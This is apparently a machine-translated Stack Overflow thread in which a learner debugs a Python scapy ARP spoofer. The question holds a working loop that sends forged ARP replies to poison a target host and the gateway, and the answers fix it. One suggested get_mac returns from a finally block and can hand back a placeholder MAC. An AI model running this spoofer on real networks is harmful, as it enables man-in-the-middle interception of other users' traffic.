![](/img/trans.png)
[英]ARP spoofer and packet sniffer in windows 10 using scapy python 3
[英]Python ARP spoofer using scapy module
我试图按照我在网上找到的教程编写一个基本的 arp 欺骗程序。 所以我编写了 arpSpoofer 的基本开始代码,但是当我执行它时会抛出 IndexError: list index out of range...我确定我在代码上犯了一个愚蠢的错误,但我真的找不到它,我一直在尝试小时。 代码是这样的:
import scapy.all as scapy
from scapy import *
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("192.168.1.79", "192.168.1.1")
spoof("192.168.1.1", "192.168.1.79")
确切的错误消息是:
Traceback (most recent call last):
File "arp_spoof.py", line 26, in <module>
spoof("192.168.1.79", "192.168.1.1")
File "arp_spoof.py", line 18, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 15, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
我会很感激一些帮助...在此先感谢::)
确实, answered_list
必须为空。 在尝试提取碎片之前,您应该检查这种情况。
可能您需要告诉 Scapy 使用特定接口或调整您的路由规则。 将iface
参数添加到srp
function。 在 Linux 上,这将类似于“eth0”或“enp1s0”。 在 Windows 上,这将是有意义的接口名称,例如“网络连接 1”或其他名称。
您可以在 scapy 中输入conf.iface
来检查默认界面。 很多时候,默认选择的是错误的。 很可能,这就是你得到一个空列表的原因。
只需一句话:这是重复:
import scapy.all as scapy
from scapy import *
从模块或 package 导入 * 的做法通常不是好的做法,原因如下: Why import star in Python is a bad idea
以下是关于为什么不应该使用
import *
的一些要点:
- 代码可读性
- 导入的内容始终是一个谜,并且无法轻易找到 - 导入了某个东西的模块导致代码可读性低。
- 污染命名空间,
import *
导入您自己命名空间中可能与 function 和您定义的类或 function 和您可能导入的其他库的类发生冲突的所有函数和类。- 隐藏错误的具体可能性
- pyflakes 之类的工具不能用于静态检测源代码中的错误。
最好只导入您需要的内容,例如:
from scapy.all import srp,send,ARP
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")
for i in ans:
print(i[1].psrc, i[1].hwsrc)
我更改了 get_mac function 如下以确保mac不为空
def get_mac(ip):
mac = "xx"
while mac == "xx":
try:
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
mac = answered_list[0][1].hwsrc
# print(mac)
except:
pass
finally:
return mac
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.